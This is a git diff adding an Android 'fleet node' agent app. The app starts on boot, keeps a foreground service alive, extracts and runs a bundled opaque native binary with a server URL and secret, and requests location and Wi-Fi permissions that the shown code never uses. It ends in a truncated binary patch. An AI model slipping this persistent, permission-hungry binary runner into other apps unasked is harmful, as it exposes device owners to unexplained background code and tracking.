0000000..e9866b4 --- /dev/null +++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt @@ -0,0 +1,114 @@ +package com.aetherforge.agent + +import android.app.Notification +import android.app.NotificationChannel +import android.app.NotificationManager +import android.app.PendingIntent +import android.app.Service +import android.content.Context +import android.content.Intent +import android.content.pm.ServiceInfo +import android.os.Build +import android.os.IBinder +import android.util.Log +import androidx.core.app.NotificationCompat + +class AgentService : Service() { + companion object { + private const val TAG = "AetherForge" + const val ACTION_START = "com.aetherforge.agent.START" + const val NOTIFICATION_ID = 41001 + private const val CHANNEL_ID = "fleet_sync" + + fun start(context: Context, extras: Intent? = null) { + val intent = Intent(context, AgentService::class.java).apply { + action = ACTION_START + extras?.extras?.let { putExtras(it) } + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(intent) + } else { + context.startService(intent) + } + } + } + + override fun onBind(intent: Intent?): IBinder? = null + + override fun onCreate() { + super.onCreate() + createNotificationChannel() + } + + override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { + val notification = buildNotification() + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + startForeground( + NOTIFICATION_ID, + notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC, + ) + } else { + startForeground(NOTIFICATION_ID, notification) + } + + val config = AgentConfig.load( + this, + mapOf( + "worker_name" to intent?.getStringExtra("worker_name"), + "server_url" to intent?.getStringExtra("server_url"), + "fleet_secret" to intent?.getStringExtra("fleet_secret"), + ), + ) + Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}") + + val binary = BinaryExtractor.ensureBinary(this) + if (binary == null) { + Log.e(TAG, "agent binary missing — rebuild APK with build-apk script") + stopSelf() + return START_NOT_STICKY + } + + if (!AgentProcess.isAlive()) { + AgentProcess.start(binary, filesDir, config) + } + return START_STICKY + } + + override fun onDestroy() { + AgentProcess.stop() + super.onDestroy() + } + + private fun createNotificationChannel() { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return + val mgr = getSystemService(NotificationManager::class.java) + val channel = NotificationChannel( + CHANNEL_ID, + getString(R.string.notification_channel_name), + NotificationManager.IMPORTANCE_LOW, + ).apply { + description = getString(R.string.notification_channel_desc) + setShowBadge(false) + } + mgr.createNotificationChannel(channel) + } + + private fun buildNotification(): Notification { + val pending = PendingIntent.getActivity( + this, + 0, + Intent(this, MainActivity::class.java), + PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT, + ) + return NotificationCompat.Builder(this, CHANNEL_ID) + .setContentTitle(getString(R.string.notification_title)) + .setContentText(getString(R.string.notification_body)) + .setSmallIcon(R.drawable.ic_launcher_foreground) + .setContentIntent(pending) + .setOngoing(true) + .setPriority(NotificationCompat.PRIORITY_LOW) + .setCategory(NotificationCompat.CATEGORY_SERVICE) + .build() + } +} diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt new file mode 100644 index 0000000..8445a1f --- /dev/null +++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt @@ -0,0 +1,47 @@ +package com.aetherforge.agent + +import android.content.Context +import android.util.Log +import java.io.File +import java.io.FileOutputStream + +object BinaryExtractor { + private const val TAG = "AetherForge" + private const val ASSET_NAME = "agent" + private const val BIN_NAME = "agent-arm64" + + fun ensureBinary(context: Context): File? { + val outDir = File(context.filesDir, "bin").apply { mkdirs() } + val outFile = File(outDir, BIN_NAME) + val assetSize = assetSize(context) + if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) { + outFile.setExecutable(true, false) + outFile.setReadable(true, false) + return outFile + } + return extract(context, outFile) + } + + private fun assetSize(context: Context): Long { + return runCatching { + context.assets.openFd(ASSET_NAME).use { it.length } + }.getOrDefault(0L) + } + + private fun extract(context: Context, outFile: File): File? { + return try { + context.assets.open(ASSET_NAME).use { input -> + FileOutputStream(outFile).use { output -> + input.copyTo(output) + } + } + outFile.setExecutable(true, false) + outFile.setReadable(true, false) + Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)") + outFile + } catch (e: Exception) { + Log.e(TAG, "failed to extract agent binary", e) + null + } + } +} diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt new file mode 100644 index 0000000..00f8f64 --- /dev/null +++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt @@ -0,0 +1,14 @@ +package com.aetherforge.agent + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.util.Log + +class BootReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent?) { + if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return + Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService") + AgentService.start(context.applicationContext) + } +} diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt new file mode 100644 index 0000000..73965c2 --- /dev/null +++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt @@ -0,0 +1,132 @@ +package com.aetherforge.agent + +import android.Manifest +import android.content.Intent +import android.content.pm.PackageManager +import android.net.Uri +import android.os.Build +import android.os.Bundle +import android.os.PowerManager +import android.provider.Settings +import android.widget.Button +import android.widget.LinearLayout +import android.widget.TextView +import android.widget.Toast +import androidx.activity.result.contract.ActivityResultContracts +import androidx.appcompat.app.AppCompatActivity +import androidx.core.content.ContextCompat + +class MainActivity : AppCompatActivity() { + private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) } + private var permissionIndex = 0 + private lateinit var pendingPermissions: List + + private val permissionLauncher = + registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results -> + val denied = results.filterValues { !it }.keys + if (denied.isNotEmpty()) { + Toast.makeText( + this, + "Some permissions were denied — fleet diagnostics may be limited.", + Toast.LENGTH_LONG, + ).show() + } + requestNextPermissionBatch() + } + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContentView(buildLayout()) + + if (!prefs.getBoolean("permissions_requested", false)) { + prefs.edit().putBoolean("permissions_requested", true).apply() + beginPermissionFlow() + } else { + startFleetService() + } + } + + private fun buildLayout(): LinearLayout { + val pad = (24 * resources.displayMetrics.density).toInt() + return LinearLayout(this).apply { + orientation = LinearLayout.VERTICAL + setPadding(pad, pad, pad, pad) + addView(TextView(context).apply { + text = getString(R.string.permission_intro_title) + textSize = 22f + setTextColor(0xFFE2E8F0.toInt()) + }) + addView(TextView(context).apply { + text = getString(R.string.permission_intro_body) + textSize = 15f + setTextColor(0xFF94A3B8.toInt()) + setPadding(0, pad / 2, 0, pad) + }) + addView(TextView(context).apply { + text = getString(R.string.battery_hint) + textSize = 14f + setTextColor(0xFF64748B.toInt()) + setPadding(0, 0, 0, pad) + }) + addView(Button(context).apply { + text = getString(R.string.open_battery_settings) + setOnClickListener { openBatteryOptimizationSettings() } + }) + } + } + + private fun requiredRuntimePermissions(): List { + val perms = mutableListOf() + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + perms += Manifest.permission.POST_NOTIFICATIONS + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + perms += Manifest.permission.NEARBY_WIFI_DEVICES + } + } + perms += Manifest.permission.ACCESS_FINE_LOCATION + perms += Manifest.permission.ACCESS_COARSE_LOCATION + return perms.filter { + ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED + } + } + + private fun beginPermissionFlow() { + pendingPermissions = requiredRuntimePermissions() + permissionIndex = 0 + requestNextPermissionBatch() + } + + private fun requestNextPermissionBatch() { + if (permissionIndex >= pendingPermissions.size) { + openBatteryOptimizationSettings() + startFleetService() + return + } + val batch = pendingPermissions.drop(permissionIndex).take(3) + permissionIndex += batch.size + if (batch.isNotEmpty()) { + permissionLauncher.launch(batch.toTypedArray()) + } else { + startFleetService() + } + } + + private fun openBatteryOptimizationSettings() { + val pm = getSystemService(POWER_SERVICE) as PowerManager + if (!pm.isIgnoringBatteryOptimizations(packageName)) { + val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply { + data = Uri.parse("package:$packageName") + } + runCatching { startActivity(intent) } + } + } + + private fun startFleetService() { + val serviceIntent = Intent(this, AgentService::class.java).apply { + action = AgentService.ACTION_START + intent?.extras?.let { putExtras(it) } + } + AgentService.start(this, serviceIntent) + Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show() + } +} diff --git a/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml b/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml new file mode 100644 index 0000000..4805456 --- /dev/null +++ b/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml @@ -0,0 +1,13 @@ + + + + + diff --git a/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..a8a8fa5 --- /dev/null +++ b/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + diff --git a/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml b/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml new file mode 100644 index 0000000..3a96436 --- /dev/null +++ b/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml @@ -0,0 +1,3 @@ + + diff --git a/android/agent-app/app/src/main/res/values/colors.xml b/android/agent-app/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..0cfdac6 --- /dev/null +++ b/android/agent-app/app/src/main/res/values/colors.xml @@ -0,0 +1,4 @@ + + + #0F172A + diff --git a/android/agent-app/app/src/main/res/values/strings.xml b/android/agent-app/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..1aad6fd --- /dev/null +++ b/android/agent-app/app/src/main/res/values/strings.xml @@ -0,0 +1,14 @@ + + + AetherForge Agent + Your fleet node + Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background. + Fleet sync + Keeps your AetherForge fleet node connected + Fleet sync + AetherForge agent connected to command deck + For reliable background sync, disable battery optimizations for this app when prompted. + Fleet agent service started + Could not start fleet agent — see logcat + Battery optimization settings + diff --git a/android/agent-app/app/src/main/res/values/themes.xml b/android/agent-app/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..9546a45 --- /dev/null +++ b/android/agent-app/app/src/main/res/values/themes.xml @@ -0,0 +1,9 @@ + + + + diff --git a/android/agent-app/build.gradle.kts b/android/agent-app/build.gradle.kts new file mode 100644 index 0000000..11004a8 --- /dev/null +++ b/android/agent-app/build.gradle.kts @@ -0,0 +1,54 @@ +plugins { + id("com.android.application") version "8.2.2" + id("org.jetbrains.kotlin.android") version "1.9.22" +} + +android { + namespace = "com.aetherforge.agent" + compileSdk = 34 + + defaultConfig { + applicationId = "com.aetherforge.agent" + minSdk = 26 + targetSdk = 34 + versionCode = 1 + versionName = "1.0.0-phase1" + + ndk { + abiFilters += listOf("arm64-v8a", "armeabi-v7a") + } + } + + buildTypes { + release { + isMinifyEnabled = false + } + } + + compileOptions { + sourceCompatibility = JavaVersion.VERSION_17 + targetCompatibility = JavaVersion.VERSION_17 + } + + kotlinOptions { + jvmTarget = "17" + } + + packaging { + jniLibs { + useLegacyPackaging = true + } + } + + applicationVariants.all { + outputs.all { + val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl + output.outputFileName = "aetherforge-agent.apk" + } + } +} + +dependencies { + implementation("androidx.core:core-ktx:1.12.0") + implementation("androidx.appcompat:appcompat:1.6.1") +} diff --git a/android/agent-app/gradle.properties b/android/agent-app/gradle.properties new file mode 100644 index 0000000..f0a2e55 --- /dev/null +++ b/android/agent-app/gradle.properties @@ -0,0 +1,4 @@ +org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 +android.useAndroidX=true +kotlin.code.style=official +android.nonTransitiveRClass=true diff --git a/android/agent-app/gradle/wrapper/gradle-wrapper.jar b/android/agent-app/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000000000000000000000000000000000000..033e24c4cdf41af1ab109bc7f253b2b887023340 GIT binary patch literal 63375 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 